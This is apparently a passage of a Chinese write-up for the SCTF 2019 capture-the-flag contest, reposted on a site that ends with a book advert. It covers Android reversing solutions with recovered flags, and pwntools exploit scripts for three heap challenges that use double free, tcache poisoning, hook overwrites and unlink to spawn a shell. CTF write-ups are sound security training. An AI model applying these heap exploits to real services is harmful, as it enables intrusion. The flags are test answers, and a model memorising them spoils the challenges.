try { Object localObject2 = MessageDigest.getInstance("MD5"); ((MessageDigest)localObject2).update("syclover".getBytes()); BigInteger localBigInteger = new java/math/BigInteger; localBigInteger.<init>(1, ((MessageDigest)localObject2).digest()); localObject2 = localBigInteger.toString(16); localObject1 = localObject2; } catch (Exception localException) { localException.printStackTrace(); }
照着写了个函数:
public static void genMd5(){ String plaintext = "syclover"; try{ MessageDigest m = MessageDigest.getInstance("MD5"); m.reset(); m.update(plaintext.getBytes()); byte[] digest = m.digest(); BigInteger bigInt = new BigInteger(1,digest); String hashtext = bigInt.toString(16); System.out.print(hashtext); } catch (Exception localException) { localException.printStackTrace(); } }
得到 8bfc8af07bca146c937f283b8ec768d4
那个关键比较有个encode函数:
public static String encode(String paramString1, String paramString2) { int i = paramString1.length(); int j = paramString2.length(); StringBuilder localStringBuilder = new StringBuilder(); for (int k = 0; k < i; k++) { localStringBuilder.append(paramString1.charAt(k)); localStringBuilder.append(paramString2.charAt(k / j)); } return localStringBuilder.toString(); }
出题人好像把取整跟取余搞混了。应该是k % j
这样的话,直接在flag里插入8得到字符串:~8t808_8A8n848r808i8d8-8w808r8l8d8}8
所以后半段flag: ~t0_An4r0id-w0rld}
所以整个flag: sctf{W3lc0me~t0_An4r0id-w0rld}
cipher = C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53 len(cipher) = 80
用jeb打开,能最终定位到一个关键函数,这个函数输入两个参数
第一个是flag,第二个是hellodsctf字符串的md5,输出为cipher。
直接爆破每一位
import java.lang.String; public class Main { public static void main(String[] args) { c a = new c(); String flag = "sctf{"; String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~"; String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53"; for(int j=0;j<100;j++) { for(int i=0;i<printable.length();i++) { String now= flag + printable.charAt(i); //System.out.println(now); String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5"); if(ss.indexOf(d) == 0) { System.out.println("flag: " + now); flag = now; } } //break; } } }
Pwn
one_heap
存在double free的漏洞,利用heap的地址爆破proc的偏移实现house of three leak,
然后常规的tache attack就行。爆破几率在1/4096估计跑一下午就能出来。。
from pwn import* context.log_level = "debug" p = process("./one_heap") a = ELF("./libc-2.27.so") #p = remote("47.104.89.129",10001) gdb.attach(p) def new(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.sendline(content) def remove(): p.recvuntil("Your choice:") p.sendline("2") def new0(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.send(content) new(0x60,"aaa") remove() remove() new(0x60,"x20x60") new(0x60,"b") raw_input() new(0x60,"x60x07") pay = p64(0xfbad1880) + p64(0)*3 + "x00" new(0x60,pay) libc_addr = u64(p.recvuntil("x7f")[8:8+6].ljust(8,"x00"))-0x3ed8b0 print hex(libc_addr) malloc_hook = a.symbols["__malloc_hook"]+libc_addr relloc_hook = a.symbols["__realloc_hook"]+libc_addr print hex(malloc_hook) one = 0x4f2c5+libc_addr print one new(0x50,"a") remove() remove() new(0x50,p64(relloc_hook)) new(0x50,"peanuts") new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe)) print hex(one) new(0x30,"b") p.interactive()
two_heap
漏洞点和one heap一样,同样是有tache的版本,
先绕过size的检查利用 0x0,0x8,0x10,0x18
进行绕过,
然后利用printf_chk可以用 a
来leak的特性算出libc
然后就可以attack free_hook然后通过 free("/bin/sh")
getshell。
from pwn import* context.log_level = "debug" #p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"}) a = ELF("./libc-2.26.so") p = remote("47.104.89.129",10002) #gdb.attach(p)#,"b *0x5555555554a0") def new(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the note:") p.sendline(content) def remove(idx): p.recvuntil("Your choice:") p.sendline("2") p.recvuntil("Input the index:") p.sendline(str(idx)) def new0(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the note:") p.send(content) p.recvuntil("Welcome to SCTF:") p.sendline("%a"*5) p.recvuntil("0x0p+00x0p+00x0.0") lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"] free_hook = a.symbols["__free_hook"]+lib_addr system = lib_addr+a.symbols["system"] print hex(lib_addr) new0(0x1," ") remove(0) remove(0) raw_input() new0(0x8,p64(free_hook)) new0(0x10,"n") new(24,p64(system)) new(0x60,"/bin/shx00") remove(4) p.interactive()
easy_heap
漏洞点在off by null,可以利用unlink控制全局变量改mmap内存为shellcode,
接着利用控制的区域构造一个fake chunk
然后free使得它进入unsortedbin,利用控制覆盖低位,指向malloc_hook,
然后再edit改为mmap的地址就可以getshell了。
from pwn import* context.arch = "amd64" context.log_level = "debug" #p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"}) a = ELF("./easy_heap") e = a.libc print hex(e.symbols["puts"]) p = remote("132.232.100.67",10004) #gdb.attach(p)#,"b *0x5555555554a0") def add(size): p.recvuntil(">> ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def remove(idx): p.recvuntil(">> ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) def edit(idx,content): p.recvuntil(">> ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Content: ") p.sendline(content) p.recvuntil("Mmap: ") mmap_addr = int(p.recvuntil("n",drop=True),16) print hex(mmap_addr) add(0xf8) p.recvuntil("Address 0x") addr = int(p.recvline().strip(),16) - 0x202068 add(0xf8) add(0x20) edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0)) remove(1) edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr)) edit(1,asm(shellcraft.sh())) bss_addr = 0x202040 edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5) remove(1) edit(0,p64(0)*3+p64(0x100)+'x10') edit(3,p64(mmap_addr)) add(0x20) p.interactive()
彩蛋
闲着无聊,写了个将md中的图片外链转为安全客图片链接的脚本:
请自行替换安全客登陆后的Cookie
#!coding:utf-8 import sys import re import requests import base64 import json reload(sys) sys.setdefaultencoding('utf8') requests.packages.urllib3.disable_warnings() Cookie = 'PHPSESSID=xxxx; UM_distinctid=xxxx; wordpress_logged_in_de14bfc29164540b0259654d85d7b021=xxxxx' def open_file(): file_name = sys.argv[1] f = open(file_name,'r') content = f.read() f.close() return content def write_file(new_content): f = open('new_content.md','w') f.write(new_content) f.close() def get_img_link(): link_list = [] file_name = sys.argv[1] for line in open(file_name): line = line.strip() img_link = '' if '![' in line and '](http' in line: is_link = re.compile(r'[(](.*?)[)]', re.S) img_link = re.findall(is_link, line)[0] link_list.append(img_link) return link_list def get_img_base64(link): r = requests.get(link,verify=False) content = r.content img_b64 = base64.b64encode(content) return r.status_code,img_b64 def get_anquanke_link(img_base64): url = 'https://api.anquanke.com/data/v1/file/pic' headers = { 'Origin': 'https://www.anquanke.com', 'Referer': 'https://www.anquanke.com/contribute/new', 'Content-Type': 'application/json;charset=UTF-8', 'Cookie': Cookie } data = { 'image':img_base64 } r = requests.post(url=url,headers=headers,data=json.dumps(data),verify=False) result = r.text # print r.text anquanke_link = json.loads(result)['url'] return r.status_code,anquanke_link def change_paper_link(): content = open_file() link_list = get_img_link() for link in link_list: print 'change link: ' + link status_code,img_b64 = get_img_base64(link) if status_code == 200: print 'get img_base64 success' status_code,anquanke_link = get_anquanke_link(img_b64) if status_code == 200: print 'get anquanke_link success: ' + anquanke_link content = content.replace(link,anquanke_link) else: print 'get anquanke_link fail: ' + anquanke_link else: print 'get img_base64 fail' return content def main(): new_content = change_paper_link() write_file(new_content) print 'get your new paper: new_content.md' main()
运行输出
>>> python .change_paper_link.py SCTF2019-Writeup-De1ta.md change link: https://upload-images.jianshu.io/upload_images/7373593-2975fcf7003b7d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240 get img_base64 success get anquanke_link success: https://p0.ssl.qhimg.com/t01382fc4f593a308ce.png ------------------------ change link: https://upload-images.jianshu.io/upload_images/7373593-ef36939bde16bbb0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240 get img_base64 success get anquanke_link success: https://p0.ssl.qhimg.com/t01f32c3e4f38589eb6.png ------------------------ get your new paper: new_content.md
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python高效开发实战
刘长龙 / 电子工业出版社 / 2016-10 / 89
也许你听说过全栈工程师,他们善于设计系统架构,精通数据库建模、通用网络协议、后端并发处理、前端界面设计,在学术研究或工程项目上能独当一面。通过对Python及其周边Web框架的学习和实践,你就可以成为这样的全能型人才。 《Python高效开发实战——Django、Tornado、Flask、Twisted》分为3部分:第1部分是基础篇,带领初学者实践Python开发环境和掌握基本语法,同时对......一起来看看 《Python高效开发实战》 这本书的介绍吧!